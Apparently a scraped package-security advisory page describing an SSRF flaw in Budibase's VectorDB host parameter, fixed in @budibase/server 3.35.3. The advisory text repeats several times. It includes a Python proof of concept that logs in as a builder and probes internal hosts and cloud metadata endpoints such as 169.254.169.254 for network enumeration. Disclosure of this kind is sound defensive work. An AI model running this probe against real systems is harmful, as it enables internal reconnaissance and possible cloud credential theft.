### Summary The VectorDB configuration endpoint in Budibase accepts a host parameter that undergoes no validation against internal IP ranges, reserved hostnames, or URL schemes. Any authenticated user with builder-level access can supply an arbitrary host value such as `169.254.169.254` or localhost, causing the server to initiate outbound TCP connections to internal network addresses or cloud metadata endpoints on their behalf. ### Details The validator responsible for VectorDB creation and updates defines the host field as `Joi.string().required()`, which enforces only that the value is a non-empty string. No allowlist of external hostnames, no blocklist of RFC 1918 or link-local ranges, and no scheme validation are applied before the value is forwarded to the database SDK for connection establishment. When a VectorDB entry is created or updated, the SDK uses the supplied host directly to open a TCP connection. Because the connection attempt originates from the Budibase server process, it traverses internal network boundaries that would otherwise be inaccessible to the attacker. Differences in connection timing and error messages between reachable and unreachable hosts allow an attacker to enumerate internal services and determine whether specific addresses are live. In cloud environments, the AWS EC2 metadata service at `169.254.169.254`, the GCP metadata server at `metadata.google.internal`, and equivalent endpoints for other providers are all reachable this way. Builder access is a realistic precondition in multi-tenant or team deployments, as the builder role is intended to allow application development without granting administrative privileges over the underlying infrastructure. ### PoC ```python import requests import time BASE_URL = "https://TARGET_BUDIBASE_INSTANCE" SESSION = requests.Session() login_resp = SESSION.post(f"{BASE_URL}/api/global/auth/default/login", json={ "username": "[email protected]", "password": "builderpassword" }) token = login_resp.cookies.get("budibase:auth") or login_resp.json().get("token") SESSION.headers.update({"Cookie": f"budibase:auth={token}"}) targets = [ ("169.254.169.254", 80), ("localhost", 5432), ("10.0.0.1", 22), ] for host, port in targets: start = time.time() resp = SESSION.post(f"{BASE_URL}/api/ai/vectordb", json={ "name": f"probe_{host.replace('.', '_')}_{port}", "provider": "pgvector", "host": host, "port": port, "database": "db" }) elapsed = time.time() - start print(f"host={host} port={port} status={resp.status_code} time={elapsed:.2f}s body={resp.text[:200]}") ``` ### Impact An attacker with builder access can use the Budibase server as a proxy to probe internal network topology, determine which hosts and ports are reachable from the server, and potentially interact with unauthenticated internal services including cloud instance metadata endpoints. In environments where cloud metadata endpoints expose credentials or instance identity documents, successful retrieval of metadata could lead to privilege escalation or lateral movement within the cloud environment. The attack requires no interaction beyond a single authenticated API request per probe target.
### Summary The VectorDB configuration endpoint in Budibase accepts a host parameter that undergoes no validation against internal IP ranges, reserved hostnames, or URL schemes. Any authenticated user with builder-level access can supply an arbitrary host value such as `169.254.169.254` or localhost, causing the server to initiate outbound TCP connections to internal network addresses or cloud metadata endpoints on their behalf. ### Details The validator responsible for VectorDB creation and updates defines the host field as `Joi.string().required()`, which enforces only that the value is a non-empty string. No allowlist of external hostnames, no blocklist of RFC 1918 or link-local ranges, and no scheme validation are applied before the value is forwarded to the database SDK for connection establishment. When a VectorDB entry is created or updated, the SDK uses the supplied host directly to open a TCP connection. Because the connection attempt originates from the Budibase server process, it traverses internal network boundaries that would otherwise be inaccessible to the attacker. Differences in connection timing and error messages between reachable and unreachable hosts allow an attacker to enumerate internal services and determine whether specific addresses are live. In cloud environments, the AWS EC2 metadata service at `169.254.169.254`, the GCP metadata server at `metadata.google.internal`, and equivalent endpoints for other providers are all reachable this way. Builder access is a realistic precondition in multi-tenant or team deployments, as the builder role is intended to allow application development without granting administrative privileges over the underlying infrastructure. ### PoC ```python import requests import time BASE_URL = "https://TARGET_BUDIBASE_INSTANCE" SESSION = requests.Session() login_resp = SESSION.post(f"{BASE_URL}/api/global/auth/default/login", json={ "username": "[email protected]", "password": "builderpassword" }) token = login_resp.cookies.get("budibase:auth") or login_resp.json().get("token") SESSION.headers.update({"Cookie": f"budibase:auth={token}"}) targets = [ ("169.254.169.254", 80), ("localhost", 5432), ("10.0.0.1", 22), ] for host, port in targets: start = time.time() resp = SESSION.post(f"{BASE_URL}/api/ai/vectordb", json={ "name": f"probe_{host.replace('.', '_')}_{port}", "provider": "pgvector", "host": host, "port": port, "database": "db" }) elapsed = time.time() - start print(f"host={host} port={port} status={resp.status_code} time={elapsed:.2f}s body={resp.text[:200]}") ``` ### Impact An attacker with builder access can use the Budibase server as a proxy to probe internal network topology, determine which hosts and ports are reachable from the server, and potentially interact with unauthenticated internal services including cloud instance metadata endpoints. In environments where cloud metadata endpoints expose credentials or instance identity documents, successful retrieval of metadata could lead to privilege escalation or lateral movement within the cloud environment. The attack requires no interaction beyond a single authenticated API request per probe target.
### Summary The VectorDB configuration endpoint in Budibase accepts a host parameter that undergoes no validation against internal IP ranges, reserved hostnames, or URL schemes. Any authenticated user with builder-level access can supply an arbitrary host value such as `169.254.169.254` or localhost, causing the server to initiate outbound TCP connections to internal network addresses or cloud metadata endpoints on their behalf. ### Details The validator responsible for VectorDB creation and updates defines the host field as `Joi.string().required()`, which enforces only that the value is a non-empty string. No allowlist of external hostnames, no blocklist of RFC 1918 or link-local ranges, and no scheme validation are applied before the value is forwarded to the database SDK for connection establishment. When a VectorDB entry is created or updated, the SDK uses the supplied host directly to open a TCP connection. Because the connection attempt originates from the Budibase server process, it traverses internal network boundaries that would otherwise be inaccessible to the attacker. Differences in connection timing and error messages between reachable and unreachable hosts allow an attacker to enumerate internal services and determine whether specific addresses are live. In cloud environments, the AWS EC2 metadata service at `169.254.169.254`, the GCP metadata server at `metadata.google.internal`, and equivalent endpoints for other providers are all reachable this way. Builder access is a realistic precondition in multi-tenant or team deployments, as the builder role is intended to allow application development without granting administrative privileges over the underlying infrastructure. ### PoC ```python import requests import time BASE_URL = "https://TARGET_BUDIBASE_INSTANCE" SESSION = requests.Session() login_resp = SESSION.post(f"{BASE_URL}/api/global/auth/default/login", json={ "username": "[email protected]", "password": "builderpassword" }) token = login_resp.cookies.get("budibase:auth") or login_resp.json().get("token") SESSION.headers.update({"Cookie": f"budibase:auth={token}"}) targets = [ ("169.254.169.254", 80), ("localhost", 5432), ("10.0.0.1", 22), ] for host, port in targets: start = time.time() resp = SESSION.post(f"{BASE_URL}/api/ai/vectordb", json={ "name": f"probe_{host.replace('.', '_')}_{port}", "provider": "pgvector", "host": host, "port": port, "database": "db" }) elapsed = time.time() - start print(f"host={host} port={port} status={resp.status_code} time={elapsed:.2f}s body={resp.text[:200]}") ``` ### Impact An attacker with builder access can use the Budibase server as a proxy to probe internal network topology, determine which hosts and ports are reachable from the server, and potentially interact with unauthenticated internal services including cloud instance metadata endpoints. In environments where cloud metadata endpoints expose credentials or instance identity documents, successful retrieval of metadata could lead to privilege escalation or lateral movement within the cloud environment. The attack requires no interaction beyond a single authenticated API request per probe target.
### Summary The VectorDB configuration endpoint in Budibase accepts a host parameter that undergoes no validation against internal IP ranges, reserved hostnames, or URL schemes. Any authenticated user with builder-level access can supply an arbitrary host value such as `169.254.169.254` or localhost, causing the server to initiate outbound TCP connections to internal network addresses or cloud metadata endpoints on their behalf. ### Details The validator responsible for VectorDB creation and updates defines the host field as `Joi.string().required()`, which enforces only that the value is a non-empty string. No allowlist of external hostnames, no blocklist of RFC 1918 or link-local ranges, and no scheme validation are applied before the value is forwarded to the database SDK for connection establishment. When a VectorDB entry is created or updated, the SDK uses the supplied host directly to open a TCP connection. Because the connection attempt originates from the Budibase server process, it traverses internal network boundaries that would otherwise be inaccessible to the attacker. Differences in connection timing and error messages between reachable and unreachable hosts allow an attacker to enumerate internal services and determine whether specific addresses are live. In cloud environments, the AWS EC2 metadata service at `169.254.169.254`, the GCP metadata server at `metadata.google.internal`, and equivalent endpoints for other providers are all reachable this way. Builder access is a realistic precondition in multi-tenant or team deployments, as the builder role is intended to allow application development without granting administrative privileges over the underlying infrastructure. ### PoC ```python import requests import time BASE_URL = "https://TARGET_BUDIBASE_INSTANCE" SESSION = requests.Session() login_resp = SESSION.post(f"{BASE_URL}/api/global/auth/default/login", json={ "username": "[email protected]", "password": "builderpassword" }) token = login_resp.cookies.get("budibase:auth") or login_resp.json().get("token") SESSION.headers.update({"Cookie": f"budibase:auth={token}"}) targets = [ ("169.254.169.254", 80), ("localhost", 5432), ("10.0.0.1", 22), ] for host, port in targets: start = time.time() resp = SESSION.post(f"{BASE_URL}/api/ai/vectordb", json={ "name": f"probe_{host.replace('.', '_')}_{port}", "provider": "pgvector", "host": host, "port": port, "database": "db" }) elapsed = time.time() - start print(f"host={host} port={port} status={resp.status_code} time={elapsed:.2f}s body={resp.text[:200]}") ``` ### Impact An attacker with builder access can use the Budibase server as a proxy to probe internal network topology, determine which hosts and ports are reachable from the server, and potentially interact with unauthenticated internal services including cloud instance metadata endpoints. In environments where cloud metadata endpoints expose credentials or instance identity documents, successful retrieval of metadata could lead to privilege escalation or lateral movement within the cloud environment. The attack requires no interaction beyond a single authenticated API request per probe target.
Update @budibase/server to 3.35.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanBudibase: Unvalidated VectorDB Host Parameter Enables SSRF affects @budibase/server (npm). Severity is medium. ### Summary The VectorDB configuration endpoint in Budibase accepts a host parameter that undergoes no validation against internal IP ranges, reserved hostnames, or URL schemes. Any authenticated user with builder-level access can supply an arbitrary host value such as `169.254.169.254` or localhost, causing the server to initiate outbound TCP connections to internal network addresses or cloud metadata endpoints on their behalf. ### Details The validator responsible for VectorDB creation and updates defines the host field as `Joi.string().required()`, which enforces only that the value is a non-empty string. No allowlist of external hostnames, no blocklist of RFC 1918 or link-local ranges, and no scheme validation are applied before the value is forwarded to the database SDK for connection establishment. When a VectorDB entry is created or updated, the SDK uses the supplied host directly to open a TCP connection. Because the connection attempt originates from the Budibase server process, it traverses internal network boundaries that would otherwise be inaccessible to the attacker. Differences in connection timing and error messages between reachable and unreachable hosts allow an attacker to enumerate internal services and determine whether specific addresses are live. In cloud environments, the AWS EC2 metadata service at `169.254.169.254`, the GCP metadata server at `metadata.google.internal`, and equivalent endpoints for other providers are all reachable this way. Builder access is a realistic precondition in multi-tenant or team deployments, as the builder role is intended to allow application development without granting administrative privileges over the underlying infrastructure. ### PoC ```python import requests import time BASE_URL = "https://TARGET_BUDIBASE_INSTANCE" SESSION = requests.Session() login_resp = SESSION.post(f"{BASE_URL}/api/global/auth/default/login", json={ "username": "[email protected]", "password": "builderpassword" }) token = login_resp.cookies.get("budibase:auth") or login_resp.json().get("token") SESSION.headers.update({"Cookie": f"budibase:auth={token}"}) targets = [ ("169.254.169.254", 80), ("localhost", 5432), ("10.0.0.1", 22), ] for host, port in targets: start = time.time() resp = SESSION.post(f"{BASE_URL}/api/ai/vectordb", json={ "name": f"probe_{host.replace('.', '_')}_{port}", "provider": "pgvector", "host": host, "port": port, "database": "db" }) elapsed = time.time() - start print(f"host={host} port={port} status={resp.status_code} time={elapsed:.2f}s body={resp.text[:200]}") ``` ### Impact An attacker with builder access can use the Budibase server as a proxy to probe internal network topology, determine which hosts and ports are reachable from the server, and potentially interact with unauthenticated internal services including cloud instance metadata endpoints. In environments where cloud metadata endpoints expose credentials or instance identity documents, successful retrieval of metadata could lead to privilege escalation or lateral movement within the cloud environment. The attack requires no interaction beyond a single authenticated API request per probe target.
AI coding agents often install or upgrade packages automatically in npm. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @budibase/servernpm | <3.35.3 | 3.35.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate @budibase/server to 3.35.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanBudibase: Unvalidated VectorDB Host Parameter Enables SSRF affects @budibase/server (npm). Severity is medium. ### Summary The VectorDB configuration endpoint in Budibase accepts a host parameter that undergoes no validation against internal IP ranges, reserved hostnames, or URL schemes. Any authenticated user with builder-level access can supply an arbitrary host value such as `169.254.169.254` or localhost, causing the server to initiate outbound TCP connections to internal network addresses or cloud metadata endpoints on their behalf. ### Details The validator responsible for VectorDB creation and updates defines the host field as `Joi.string().required()`, which enforces only that the value is a non-empty string. No allowlist of external hostnames, no blocklist of RFC 1918 or link-local ranges, and no scheme validation are applied before the value is forwarded to the database SDK for connection establishment. When a VectorDB entry is created or updated, the SDK uses the supplied host directly to open a TCP connection. Because the connection attempt originates from the Budibase server process, it traverses internal network boundaries that would otherwise be inaccessible to the attacker. Differences in connection timing and error messages between reachable and unreachable hosts allow an attacker to enumerate internal services and determine whether specific addresses are live. In cloud environments, the AWS EC2 metadata service at `169.254.169.254`, the GCP metadata server at `metadata.google.internal`, and equivalent endpoints for other providers are all reachable this way. Builder access is a realistic precondition in multi-tenant or team deployments, as the builder role is intended to allow application development without granting administrative privileges over the underlying infrastructure. ### PoC ```python import requests import time BASE_URL = "https://TARGET_BUDIBASE_INSTANCE" SESSION = requests.Session() login_resp = SESSION.post(f"{BASE_URL}/api/global/auth/default/login", json={ "username": "[email protected]", "password": "builderpassword" }) token = login_resp.cookies.get("budibase:auth") or login_resp.json().get("token") SESSION.headers.update({"Cookie": f"budibase:auth={token}"}) targets = [ ("169.254.169.254", 80), ("localhost", 5432), ("10.0.0.1", 22), ] for host, port in targets: start = time.time() resp = SESSION.post(f"{BASE_URL}/api/ai/vectordb", json={ "name": f"probe_{host.replace('.', '_')}_{port}", "provider": "pgvector", "host": host, "port": port, "database": "db" }) elapsed = time.time() - start print(f"host={host} port={port} status={resp.status_code} time={elapsed:.2f}s body={resp.text[:200]}") ``` ### Impact An attacker with builder access can use the Budibase server as a proxy to probe internal network topology, determine which hosts and ports are reachable from the server, and potentially interact with unauthenticated internal services including cloud instance metadata endpoints. In environments where cloud metadata endpoints expose credentials or instance identity documents, successful retrieval of metadata could lead to privilege escalation or lateral movement within the cloud environment. The attack requires no interaction beyond a single authenticated API request per probe target.
AI coding agents often install or upgrade packages automatically in npm. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @budibase/servernpm | <3.35.3 | 3.35.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard